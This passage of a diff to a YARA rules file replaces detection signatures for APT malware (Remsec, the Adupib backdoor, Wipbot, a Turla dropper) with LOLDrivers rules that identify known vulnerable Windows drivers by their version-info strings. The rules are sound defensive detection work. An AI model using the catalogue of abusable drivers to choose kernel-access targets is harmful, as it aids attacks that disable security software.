+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00540065006e004100730079007300200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e00310034003000390031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049004e00740069006d0065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300032002d0032003000310034002000620079002000540065006e004100730079007300200043006f00720070006f0072006100740069006f006e002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Remsec_Executable_Blob_Parser
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BDBC : FILE
 {
 	meta:
-		description = "Detects malware from Symantec's Strider APT report"
-		author = "Symantec"
-		id = "b2189bfe-7b84-5fe9-8829-64f49d1e2030"
-		date = "2016-08-08"
-		modified = "2023-12-05"
-		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_strider.yara#L36-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2f6db962807c07ff1bbe8b53eeb386d7b0ac88f95b76439c0d8b65d597739bdd"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "a101f69b-ca19-5aeb-a168-1a10dbd6ec12"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7624-L7643"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "bdbceca41e576841cad2f2b38ee6dbf92fd77fbbfdfe6ecf99f0623d44ef182c"
+		logic_hash = "c4310d622e5861f4c63d9e9c39ee94acbfb35d24a91f50158f1d695d1f0cf254"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$code = { ( 0F 82 ?? ?? 00 00 | 72 ?? ) ( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1 ( 0F 85 ?? ?? 00 00 | 75 ?? ) ( 8B | 41 8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | ?C 24 ) 06 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00300031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00300031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300037 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Remsec_Encrypted_Api
+rule LOLDRIVERS_PUA_VULN_Driver_Databaseharborsoftware_Sysinfodetectorxsys_Sysinfodetector_45E5 : FILE
 {
 	meta:
-		description = "Detects malware from Symantec's Strider APT report"
-		author = "Symantec"
-		id = "1aa3380b-d704-5eb9-b25d-f4bf20ae7179"
-		date = "2016-08-08"
-		modified = "2023-12-05"
-		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_strider.yara#L50-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4f10c24a8480c17c2939fe3fecba2820b22f8a47bc2b2e73ac1080a355025d7c"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SysInfoDetectorX64.sys"
+		author = "Florian Roth"
+		id = "5d65c0b6-176b-5c11-996d-2caae24c95af"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7646-L7665"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "45e5977b8d5baec776eb2e62a84981a8e46f6ce17947c9a76fa1f955dc547271"
+		logic_hash = "3c67bbee00427b7f8ed689a5ff83641bad2b62dc685b5155ea81f6dbba4377b0"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$open_process = { 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440072006900760065007200200066006f007200200053007900730049006e0066006f0020004400650074006500630074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0044006100740061006200610073006500200048006100720062006f007200200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0053007900730049006e0066006f004400650074006500630074006f0072005800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007900730049006e0066006f0020004400650074006500630074006f0072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0053007900730049006e0066006f004400650074006500630074006f0072005800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300031003400200044006100740061006200610073006500200048006100720062006f007200200053006f006600740077006100720065 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Remsec_Packer_A
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_7048 : FILE
 {
 	meta:
-		description = "Detects malware from Symantec's Strider APT report"
-		author = "Symantec"
-		id = "d75198ab-b1ea-572a-a674-9a38c3e2958b"
-		date = "2016-08-08"
-		modified = "2023-12-05"
-		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_strider.yara#L64-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b46a41686fbf1c63e8a8b583859f23bf789bc9f11ee6b1fb01bb08e602772e76"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "adc55873-9711-5304-97d4-037174c036ff"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7668-L7689"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7048d90ed4c83ad52eb9c677f615627b32815066e34230c3b407ebb01279bae6"
+		hash = "d80714d87529bb0bc7abcc12d768c43a697fbca59741c38fa0b46900da4db30e"
+		hash = "fed0fe2489ae807913be33827b3b11359652a127e33b64464cc570c05abd0d17"
+		logic_hash = "2768d499d0f387278553c77bd313337202b107474d44e41b8b59b22254680637"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$code = { 69 ( C? | D? | E? | F? ) AB 00 00 00 ( 81 | 41 81 ) C? CD 2B 00 00 ( F7 | 41 F7 ) E? ( C1 | 41 C1 ) E? 0D ( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00 ( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B ) }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003600200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Remsec_Packer_B
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7837 : FILE
 {
 	meta:
-		description = "Detects malware from Symantec's Strider APT report"
-		author = "Symantec"
-		id = "18e7f84e-27f2-532d-9ead-0db6e9e6c0b2"
-		date = "2016-08-08"
-		modified = "2023-12-05"
-		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_strider.yara#L78-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9c63b5934d60b59a33364ef56c913220e59b9798a682a7f97e6755270adf4e4b"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "47963173-d9a8-5a16-9959-d99e6e8920f3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7692-L7711"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7837cb350338c4958968d06b105466da6518f5bb522a6e70e87c0cad85128408"
+		logic_hash = "0d0e3e2675e5d6b11369a388a6e7a947e603db2562aefb802c977728419bb667"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$code = { 48 8B 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) ( 44 88 6? 24 ?? | C6 44 24 ?? 00 ) 48 89 44 24 ?? 48 8D ( 45 ?? | 84 24 ?? ?? 00 00 ) C7 44 24 ?? 0? 00 00 00 2B ?8 48 89 ?C 24 ?? 44 89 6? 24 ?? 83 C? 08 89 ?C 24 ?? ( FF | 41 FF ) D? ( 05 | 8D 88 ) 00 00 00 3A }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000350036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Trojan_Win32_Adupib_1 : PLATINUM
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmelsys_Trendmicroearlylaunchantimalwaredriver_E505 : FILE
 {
 	meta:
-		description = "Adupib SSL Backdoor"
-		author = "Microsoft"
-		id = "fb3b10a4-66d7-50ec-b6a5-b3c5c382ef01"
-		date = "2016-04-12"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ms_platinum.yara#L101-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
-		logic_hash = "4d93b6a041468b51763d9497acf3d01ee59ac05f1807a6b140c557ef96d26df9"
-		score = 75
-		quality = 85
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
-		activity_group = "Platinum"
-		version = "1.0"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Tmel.sys"
+		author = "Florian Roth"
+		id = "03f8b653-0ecc-5161-935e-5f670fd54bb1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7714-L7733"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e505569892551b2ba79d8792badff0a41faea033e8d8f85c3afea33463c70bd9"
+		logic_hash = "7645c180f10ba31e259cdfa4904c16941ce777412416527c95fa9592ed76da8c"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$str1 = "POLL_RATE"
-		$str2 = "OP_TIME(end hour)"
-		$str3 = "%d:TCP:*:Enabled"
-		$str4 = "%s[PwFF_cfg%d]"
-		$str5 = "Fake_GetDlgItemTextW: ***value***="
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200045004c0041004d00200044007200690076006500720020002800360034002d0042006900740029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000300034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0065006c002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f0020004500610072006c00790020004c00610075006e0063006800200041006e00740069002d004d0061006c00770061007200650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0065006c002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		$str1 and $str2 and $str3 and $str4 and $str5
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Waterbug_Wipbot_2013_Core_PDF : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Ncrcorporation_Radhwmgrsys_Ncrcorporationhardwaremanagerdriver_Dev_DF96 : FILE
 {
 	meta:
-		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
-		author = "Symantec Security Response"
-		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"
-		date = "2015-01-22"
-		modified = "2023-12-05"
-		reference = "http://t.co/rF35OaAXrl"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbug.yar#L3-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a854926a4a98eb1d13a582b4ff4504b9740b8bbe7aa6b5192aeb4d2438a58926"
-		score = 75
-		quality = 60
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RadHwMgr.sys"
+		author = "Florian Roth"
+		id = "e5a0a70b-13ea-584f-a7f8-387ca23b9ecd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7736-L7755"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "df96d844b967d404e58a12fc57487abc24cd3bd1f8417acfe1ce1ee4a0b0b858"
+		logic_hash = "2194da0b4589893a0884b9a8c0ed5a556b008152b9c03613074892001406fc21"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
-		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061006400690061006e00740020004800610072006400770061007200650020004d0061006e006100670065007200200066006f007200200050003100350078007800200050006c006100740066006f0072006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0043005200200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0030002e0030002e003200200044006500760020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0030002e0030002e00320020004400650076 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0043005200200043006f00720070006f0072006100740069006f006e0020004800610072006400770061007200650020004d0061006e00610067006500720020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520061006400480077004d00670072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000300032002d00320030003100370020004e0043005200200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint32(0)==0x46445025 and #a>150 and #b>200
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Waterbug_Wipbot_2013_Dll
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0B2A : FILE
 {
 	meta:
-		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
-		author = "Symantec Security Response"
-		id = "2aae09a3-6e59-5951-941e-c1f82aada979"
-		date = "2015-01-22"
-		modified = "2023-12-05"
-		reference = "http://t.co/rF35OaAXrl"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbug.yar#L17-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f29ff81d62bd6bea776aeddc0725b034624f836c234441f63a8b697e959d3f8d"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "9e448b85-4455-5a80-9147-e6c83b1427aa"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7758-L7777"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0b2ad05939b0aabbdc011082fad7960baa0c459ec16a2b29f37c1fa31795a46d"
+		logic_hash = "e4e6178a894262ed52bd5ee6e0879f54d4cb81ec467f065f0b00d34ac55064b0"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$string1 = "/%s?rank=%s"
-		$string2 = "ModuleStart\x00ModuleStop\x00start"
-		$string3 = "1156fd22-3443-4344-c4ffff"
-		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Waterbug_Wipbot_2013_Core : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Tenasyscorporation_Rtifsys_Intime_BA40 : FILE
 {
 	meta:
-		description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
-		author = "Symantec Security Response"
-		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"
-		date = "2015-01-22"
-		modified = "2023-01-27"
-		reference = "http://t.co/rF35OaAXrl"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbug.yar#L34-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "59e1363225b1f7765e953e3d6803270b82f4268431d92ef00ed1010df0793e5f"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtif.sys"
+		author = "Florian Roth"
+		id = "a932bccb-6c13-5d78-afab-ecca0d072815"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7780-L7799"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ba40b1fc798c2f78165e78997b4baf3d99858ee39a372ca6fbc303057793e50d"
+		logic_hash = "ea4d6b524d8e4229b090890145a02617482c38ae077d5fd9a7fd46fa6e917b1a"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
-		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
-		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04}
-		$code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004e00740069006d006500200050006e00500020005200540020004b00650072006e0065006c00200049006e00740065007200660061006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00540065006e004100730079007300200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e00310034003100370035002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049004e00740069006d0065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0072007400690066002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300032002d0032003000310034002000620079002000540065006e004100730079007300200043006f00720070006f0072006100740069006f006e002e }
 
 	condition:
-		uint16(0)==0x5A4D and (($code1 or $code2) or ($code3 and $code4))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Waterbug_Turla_Dropper
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_828A : FILE
 {
 	meta:
-		description = "Symantec Waterbug Attack - Trojan Turla Dropper"
-		author = "Symantec Security Response"
-		id = "f9683ac7-36f3-5a2a-8b76-e8e2527f4e0d"
-		date = "2015-01-22"
-		modified = "2023-12-05"
-		reference = "http://t.co/rF35OaAXrl"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_waterbug.yar#L50-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6836b8d28fb41d9459f24d22e3c428b022b26885b7dce1caa5b0d5a7a1b7f82b"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "0ff55ef5-4de8-53e9-b10e-2c3eda501fa7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7802-L7821"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "828a18b16418c021b6c4aa8c6d54cef4e815efca0d48b9ff14822f9ccb69dff2"
